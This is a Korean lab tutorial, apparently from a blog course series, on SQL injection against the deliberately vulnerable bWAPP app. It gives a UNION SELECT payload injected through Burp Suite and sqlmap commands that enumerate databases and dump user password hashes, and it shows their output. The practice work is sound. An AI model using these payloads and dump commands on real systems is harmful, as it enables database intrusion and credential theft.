정보보안(구버전)/ bWAPP 2019. 1. 30. 15:58
본 내용은 교육 과정에서 필요한 실습 목적으로 구성된 것이며, 혹시라도 개인적인 용도 및 악의적인 목적으로 사용할 경우, 법적 책임은 본인에게 있다는 것을 알려드립니다.
1. Injection
- OWASP Top10 A1 - 악의적인 명령 삽입
- 서버로 전송되는 요청 정보에 악의적인 명령을 삽입하여 불필요한 동작을 실시하거나, 서버/시스템/DB 중요 정보를
획득할 수 있는 취약점이다.
- Ex) HTML 인젝션, SQL 인젝션, PHP 인젝션, XML 인젝션
2. GET & POST 차이점
- GET 방식 : Header에 정보(변수)를 포함시킴, 그렇기 때문에 주소창(URL)에 서버로 넘어가는 정보가 보임
- POST 방식 : Body에 정보(변수)를 포함시킴, 그렇기 때문에 주소창(URL)에 서버로 넘어가는 정보가 안보임
3. Injection - SQL Injection(POST/Select)
Ex1) Injection - SQL Injection(POST/Select) 이해
보안 레벨 선택 및 시나리오 선택
Intercept -> 'Intercept is on' 으로 변경 실시
'World War Z' 선택 -> 'Go' 버튼 클릭
버프슈트 Intercept 내용 확인
13-0. Body 내용 변조-1.txt
HTTP Header & Body 내용 확인 및 Body 내용 변경
POST /bWAPP/sqli_13.php HTTP/1.1 Host: 192.168.20.205 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.20.205/bWAPP/sqli_13.php Cookie: security_level=0; PHPSESSID=adc015223eee0ef7aca6ac449d64901d Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 17
movie=10&action=go <- 기존 Body 내용
movie=0 union select all 1, concat(id,login),password,email,secret,6,7 from users #&action=go <- 변경 실시
|
Body 내용 변조 -> 'Intercept is on'을 클릭하여 off 실시
'Intercept is off' 확인
SQL 인젝션을 이용한 bWAPP 데이터베이스의 users 테이블(id,login,password,email...) 내용 확인
Ex2) 'sqli_13.php' & 'functions_external.php' 파일 내용 확인
bee@bee-box:/var/www/bWAPP$ ls -l sqli_13.php
-rw-rw-r-- 1 root www-data 8001 2014-11-02 23:52 sqli_13.php
bee@bee-box:/var/www/bWAPP$ vi sqli_13.php
~ 중간 생략 ~
include("functions_external.php");
if($_COOKIE["security_level"] == "2")
header("Location: sqli_13-ps.php");
exit; }
// Selects all the records
$recordset = mysql_query($sql, $link);
function sqli($data) switch($_COOKIE["security_level"]) case "0" :
$data = no_check($data);
case "1" :
$data = sqli_check_2($data);
default :
$data = no_check($data); } return $data; } :q! |
bee@bee-box:/var/www/bWAPP$ gedit functions_external.php
~ 중간 생략 ~
function sqli_check_1($data) {
return addslashes($data); // 작은따옴표를 문자열로 이스케이프 실시 }
function sqli_check_2($data) {
return mysql_real_escape_string($data); // SQL 인젝션에서 사용하는 특수문자에 백슬래시를 붙여 입력값을 이스케이프 실시 (NULL, \n, \r, \, ', ", ^Z) }
function sqli_check_3($link, $data) {
return mysqli_real_escape_string($link, $data);
}
function sqli_check_4($data) {
// Not bulletproof
// Replaces a single quote (') $input = str_replace("'", "''", $data);
return $input;
} |
Ex3) 보안 레벨 'High' 변경
보안 레벨 및 시나리오 선택
Intercept -> 'Intercept is on' 으로 변경 실시
'World War Z' 선택 -> 'Go' 버튼 클릭
버프슈트 Intercept 내용 확인
HTTP Header & Body 내용 확인 및 Body 내용 변경
POST /bWAPP/sqli_13-ps.php HTTP/1.1 Host: 192.168.20.205 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.20.205/bWAPP/sqli_13-ps.php Cookie: security_level=2; PHPSESSID=adc015223eee0ef7aca6ac449d64901d Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 18
movie=10&action=go <- 기존 Body 내용
movie=0 union select all 1, concat(id,login),password,email,secret,6,7 from users #&action=go <- 변경 실시
|
Body 내용 변조 -> 'Intercept is on'을 클릭하여 off 실시
'Intercept is off' 확인
SQL 인젝션 실패
3. SQLmap
Ex1) 보안 레벨 'Low' 변경
보안 레벨 및 시나리오 선택
Ex2) SQLmap 설치 확인 및 도움말
root@kali:~# sqlmap -h
___
__H__
___ ___[(]_____ ___ ___ {1.2#stable}
|_ -| . ["] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V |_| http://sqlmap.org
Usage: python sqlmap [options]
~ 중간 생략 ~
root@kali:~# sqlmap -hh
___
__H__
___ ___["]_____ ___ ___ {1.2#stable}
|_ -| . ['] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V |_| http://sqlmap.org
Usage: python sqlmap [options]
~ 중간 생략 ~
자주 사용하는 sqlmap 옵션 명령어
옵션 명령어 |
내용 |
-v VERBOSE |
Verbosity level: 0-6 (default 1) 명령어 수행시 출력 수준을 정하는 값 |
-u URL |
Target URL (e.g. "http://www.site.com/vuln.php?id=1") 공격 타겟 주소 지정 |
--cookie=COOKIE |
HTTP Cookie header value 쿠키 값 지정 |
--data=DATA |
Data string to be sent through POST POST 방식으로 데이터가 전달될 경우, 해당 데이터 지정 |
-p TESTPARAMETER |
Testable parameter(s) 공격을 수행할 파라메터 지정 |
--passwords |
Enumerate DBMS users password hashes 사용자 패스워드 해시값 출력 |
--dbs |
Enumerate DBMS databases 데이터베이스 리스트 출력 |
--tables |
Enumerate DBMS database tables 데이터베이스 테이블 출력 |
--columns |
Enumerate DBMS database table columns 데이터베이스 테이블의 컬럼 출력 |
--dump |
Dump DBMS database table entries 데이터베이스 테이블 엔트리 덤프 |
-D DB |
DBMS database to enumerate 특정 데이터베이스 지정 |
-T TBL |
DBMS database table(s) to enumerate 특정 테이블 지정 |
-C COL |
DBMS database table column(s) to enumerate 특정 컬럼 지정 |
Ex3) 버프슈트를 이용하여 쿠키값 획득 (실습 진행시 쿠키값이 변경될 수 있으니, 안되면 신규 쿠키 정보 확인)
Intercept -> 'Intercept is on' 으로 변경 실시
'World War Z' 선택 -> 'Go' 버튼 클릭
버프슈트 Intercept 내용 확인
'Intercept is off' 확인
Ex4) SQLmap을 이용한 공격 실시 I
- 인젝션 유형 : SQL Inection(POST/Select)
- 페이지 주소 : http://192.168.20.205/bWAPP/sqli_13.php
root@kali:~# sqlmap -v 3 -u "http://192.168.20.205/bWAPP/sqli_13.php" --cookie="security_level=0; PHPSESSID=b8c58e2ba446befcf89de4792a0f6fa6" --data "movie=1&action=go" --dbs
~ 중간 생략 ~
available databases [5]:
[*] bWAPP
[*] cisco
[*] drupageddon
[*] information_schema
[*] mysql
[17:36:34] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.20.205'
[*] shutting down at 17:36:34
Ex5) SQLmap을 이용한 공격 실시 II
- 인젝션 유형 : SQL Inection(POST/Select)
- 페이지 주소 : http://192.168.20.205/bWAPP/sqli_13.php
root@kali:~# sqlmap -v 3 -u "http://192.168.20.205/bWAPP/sqli_13.php" --cookie="security_level=0; PHPSESSID=b8c58e2ba446befcf89de4792a0f6fa6" --data "movie=1&action=go" -p "movie" --tables
~ 중간 생략 ~
Database: bWAPP
[5 tables]
+---------------------------------------+
| blog |
| heroes |
| movies |
| users |
| visitors |
+---------------------------------------+
[17:42:00] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.20.205'
[*] shutting down at 17:42:00
Ex6) SQLmap을 이용한 공격 실시 III
- 인젝션 유형 : SQL Inection(POST/Select)
- 페이지 주소 : http://192.168.20.205/bWAPP/sqli_13.php
root@kali:~# sqlmap -u "http://192.168.20.205/bWAPP/sqli_13.php" --cookie="security_level=0; PHPSESSID=71d7bfbbfce3777ad3718159cf4ae584" --data "movie=1&action=go" -p "movie" -D bWAPP --tables
~ 중간 생략 ~
Database: bWAPP
[5 tables]
+----------+
| blog |
| heroes |
| movies |
| users |
| visitors |
+----------+
[19:35:15] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.20.205'
[*] shutting down at 19:35:15
Ex7) SQLmap을 이용한 공격 실시 IV
- 인젝션 유형 : SQL Inection(POST/Select)
- 페이지 주소 : http://192.168.20.205/bWAPP/sqli_13.php
root@kali:~# sqlmap -u "http://192.168.20.205/bWAPP/sqli_13.php" --cookie="security_level=0; PHPSESSID=71d7bfbbfce3777ad3718159cf4ae584" --data "movie=1&action=go" -p "movie" -D bWAPP -T users --column
~ 중간 생략 ~
Database: bWAPP
Table: users
[9 columns]
+-----------------+--------------+
| Column | Type |
+-----------------+--------------+
| activated | tinyint(1) |
| activation_code | varchar(100) |
| admin | tinyint(1) |
| email | varchar(100) |
| id | int(10) |
| login | varchar(100) |
| password | varchar(100) |
| reset_code | varchar(100) |
| secret | varchar(100) |
+-----------------+--------------+
[19:37:27] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.20.205'
[*] shutting down at 19:37:27
Ex8) SQLmap을 이용한 공격 실시 V
- 인젝션 유형 : SQL Inection(POST/Select)
- 페이지 : http://192.168.20.205/bWAPP/sqli_13.php
root@kali:~# sqlmap -u "http://192.168.20.205/bWAPP/sqli_13.php" --cookie="security_level=0; PHPSESSID=71d7bfbbfce3777ad3718159cf4ae584" --data "movie=1&action=go" -p "movie" -D bWAPP -T users --dump
~ 중간 생략 ~
Database: bWAPP
Table: users
[2 entries]
+----+-------+--------+--------------------------+-------------------------------------+------------------------------------------------+-----------+------------+-----------------+
| id | admin | login | email | secret | password | activated | reset_code | activation_code |
+----+-------+--------+--------------------------+-------------------------------------+------------------------------------------------+-----------+------------+-----------------+
| 1 | 1 | A.I.M. | bwapp-aim@mailinator.com | A.I.M. or Authentication Is Missing | 6885858486f31043e5839c735d99457f045affd0 (bug) | 1 | NULL | NULL |
| 2 | 1 | bee | bwapp-bee@mailinator.com | Any bugs? | 6885858486f31043e5839c735d99457f045affd0 (bug) | 1 | NULL | NULL |
+----+-------+--------+--------------------------+-------------------------------------+------------------------------------------------+-----------+------------+-----------------+
[19:44:45] [INFO] table 'bWAPP.users' dumped to CSV file '/root/.sqlmap/output/192.168.20.205/dump/bWAPP/users.csv'
[19:44:45] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.20.205'
[*] shutting down at 19:44:45
Ex9) SQLmap을 이용한 공격 실시 VI
- 인젝션 유형 : SQL Inection(POST/Select)
- 페이지 : http://192.168.20.205/bWAPP/sqli_13.php
root@kali:~# sqlmap -u "http://192.168.20.205/bWAPP/sqli_13.php" --cookie="security_level=0; PHPSESSID=71d7bfbbfce3777ad3718159cf4ae584" --data "movie=1&action=go" -p "movie" -D bWAPP -T users -C id,login,password --dump
~ 중간 생략 ~
Database: bWAPP
Table: users
[2 entries]
+----+--------+------------------------------------------------+
| id | login | password |
+----+--------+------------------------------------------------+
| 1 | A.I.M. | 6885858486f31043e5839c735d99457f045affd0 (bug) |
| 2 | bee | 6885858486f31043e5839c735d99457f045affd0 (bug) |
+----+--------+------------------------------------------------+
[20:35:41] [INFO] table 'bWAPP.users' dumped to CSV file '/root/.sqlmap/output/192.168.20.205/dump/bWAPP/users.csv'
[20:35:41] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.20.205'
[*] shutting down at 20:35:41
Ex10) sqlmap 로그 확인
root@kali:~# ls .sqlmap/
output
root@kali:~# ls .sqlmap/output/
192.168.20.205
root@kali:~# ls .sqlmap/output/192.168.20.205/
dump log session.sqlite target.txt
root@kali:~# ls .sqlmap/output/192.168.20.205/dump/
bWAPP
root@kali:~# ls .sqlmap/output/192.168.20.205/dump/bWAPP/
users.csv users.csv.1
root@kali:~# cat .sqlmap/output/192.168.20.205/dump/bWAPP/users.csv
id,login,password
1,A.I.M.,6885858486f31043e5839c735d99457f045affd0 (bug)
2,bee,6885858486f31043e5839c735d99457f045affd0 (bug)
root@kali:~# cat .sqlmap/output/192.168.20.205/dump/bWAPP/users.csv.1
id,admin,login,email,secret,password,activated,reset_code,activation_code
1,1,A.I.M.,bwapp-aim@mailinator.com,A.I.M. or Authentication Is Missing,6885858486f31043e5839c735d99457f045affd0 (bug),1,NULL,NULL
2,1,bee,bwapp-bee@mailinator.com,Any bugs?,6885858486f31043e5839c735d99457f045affd0 (bug),1,NULL,NULL
root@kali:~# cat .sqlmap/output/192.168.20.205/log
[유튜브] 동영상 강의 링크 (구독! 좋아요!!!)
웹해킹 13. bWAPP Injection - SQL Injection(POST&Select) https://youtu.be/GzpqjOXnhDs
'정보보안(구버전) > bWAPP' 카테고리의 다른 글
웹 해킹 bWAPP - 15. A1 - Injection - SQL Injection(CAPTCHA) (0) | 2019.01.31 |
---|---|
웹 해킹 bWAPP - 14. A1 - Injection - SQL Injection (AJAX/JSON/jQuery) (0) | 2019.01.30 |
웹 해킹 bWAPP - 12. A1 - Injection- SQL Injection(GET/Select) (0) | 2019.01.30 |
웹 해킹 bWAPP - 11. A1 - Injection - SQL Injection(POST/Search) (0) | 2019.01.30 |
웹 해킹 bWAPP - 10. A1 - Injection - SQL Injection(GET/Search) (0) | 2019.01.27 |